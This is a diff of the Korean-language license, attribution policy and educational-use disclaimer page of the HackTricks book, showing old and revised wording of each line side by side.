우리는 항상 **원래 저자에게 모든 크레딧을 부여합니다**. 원본 출처가 참조되지 않은 복사-붙여넣기된 콘텐츠가 있는 페이지를 발견하면 알려주시면 **제거하거나**, **텍스트 앞에 링크를 추가하거나**, **링크를 추가하여 다시 작성하겠습니다**.
우리는 항상 **원래 저자에게 모든 크레딧을 부여합니다**. 원본 출처가 참조되지 않은 복사-붙여넣기된 콘텐츠가 있는 페이지를 발견하면 알려주시면 **제거**, **텍스트 앞에 링크 추가**, 또는 **링크를 추가하여 다시 작성**하겠습니다.
## LICENSE
@ -116,7 +116,7 @@ Copyright © 모든 권리 보유, 별도로 명시되지 않는 한.
#### 추가 조건:
- 제3자 콘텐츠: 이 블로그/책의 일부는 다른 블로그나 출판물의 발췌와 같은 다른 출처의 콘텐츠를 포함할 수 있습니다. 이러한 콘텐츠의 사용은 공정 사용 원칙에 따라 이루어지거나 해당 저작권 소유자의 명시적 허가를 받습니다. 제3자 콘텐츠에 대한 특정 라이센스 정보는 원본 출처를 참조하십시오.
- 제3자 콘텐츠: 이 블로그/책의 일부는 다른 블로그나 출판물의 발췌와 같은 다른 출처의 콘텐츠를 포함할 수 있습니다. 이러한 콘텐츠의 사용은 공정 사용 원칙에 따라 이루어지거나 해당 저작권 소유자의 명시적 허가를 받습니다. 제3자 콘텐츠에 대한 특정 라이센스 정보는 원본 출처를 참조하십시오.
- 저작권: HackTricks가 저작한 원본 콘텐츠는 이 라이센스의 조건에 따릅니다. 공유하거나 수정할 때 이 작업을 저자에게 귀속시키는 것이 권장됩니다.
#### 면제:
@ -125,18 +125,18 @@ Copyright © 모든 권리 보유, 별도로 명시되지 않는 한.
이 라이센스는 콘텐츠와 관련하여 상표 또는 브랜드 권리를 부여하지 않습니다. 이 블로그/책에 포함된 모든 상표 및 브랜드는 해당 소유자의 재산입니다.
**HackTricks에 접근하거나 사용함으로써 귀하는 이 라이센스의 조건을 준수하는 데 동의합니다. 이 조건에 동의하지 않으면 이 웹사이트에 접근하지 마십시오.**
**HackTricks에 접근하거나 사용함으로써 귀하는 이 라이센스의 조건을 준수할 것에 동의합니다. 이 조건에 동의하지 않으면 이 웹사이트에 접근하지 마십시오.**
## **면책 조항**
> [!CAUTION]
> 이 책 'HackTricks'는 교육 및 정보 제공 목적으로만 사용됩니다. 이 책의 내용은 '있는 그대로' 제공되며, 저자와 출판사는 이 책에 포함된 정보, 제품, 서비스 또는 관련 그래픽의 완전성, 정확성, 신뢰성, 적합성 또는 가용성에 대해 명시적이거나 시적인 어떠한 진술이나 보증도 하지 않습니다. 그러므로 귀하가 이러한 정보에 의존하는 것은 전적으로 귀하의 위험입니다.
> 이 책 'HackTricks'는 교육 및 정보 제공 목적으로만 작성되었습니다. 이 책의 내용은 '있는 그대로' 제공되며, 저자와 출판사는 이 책에 포함된 정보, 제품, 서비스 또는 관련 그래픽의 완전성, 정확성, 신뢰성, 적합성 또는 가용성에 대해 명시적이거나 시적인 어떠한 진술이나 보증도 하지 않습니다. 그러므로 귀하가 이러한 정보에 의존하는 것은 전적으로 귀하의 위험입니다.
>
> 저자와 출판사는 데이터 손실이나 이익 손실로 인해 발생하는 모든 손실이나 손해에 대해 어떠한 경우에도 책임을 지지 않습니다.
> 저자와 출판사는 이 책의 사용으로 인해 발생하는 데이터 손실이나 이익 손실을 포함하여, 간접적이거나 결과적인 손실 또는 손해에 대해 어떠한 경우에도 책임을 지지 않습니다.
>
> 또한, 이 책에 설명된 기술과 팁은 교육 및 정보 제공 목적으로만 제공되며, 불법 또는 악의적인 활동에 사용되어서는 안 됩니다. 저자와 출판사는 불법 또는 비윤리적인 활동을 용납하거나 지지하지 않으며, 이 책에 포함된 정보를 사용하는 것은 사용자 자신의 위험과 재량에 따라 이루어집니다.
> 또한, 이 책에 설명된 기술과 팁은 교육 및 정보 제공 목적으로만 제공되며, 불법적이거나 악의적인 활동에 사용되어서는 안 됩니다. 저자와 출판사는 불법적이거나 비윤리적인 활동을 용납하거나 지지하지 않으며, 이 책에 포함된 정보를 사용하는 것은 사용자 자신의 위험과 재량에 따라 이루어집니다.
>
> 사용자는 이 책에 포함된 정보를 기반으로 취한 모든 행동에 대해 전적으로 책임이 있으며, 이 책에 설명된 기술이나 팁을 구현하려고 할 때 항상 전문가의 조언과 도움을 구해야 합니다.
> 사용자는 이 책에 포함된 정보를 기반으로 취한 모든 행동에 대해 전적으로 책임이 있으며, 이 책에 설명된 기술이나 팁을 구현하려고 할 때 항상 전문가의 조언과 도움을 구해야 합니다.
>
> 이 책을 사용함으로써 사용자는 이 책이나 그 안에 포함된 정보의 사용으로 인해 발생할 수 있는 모든 손해, 손실 또는 피해에 대해 저자와 출판사를 면책하는 데 동의합니다.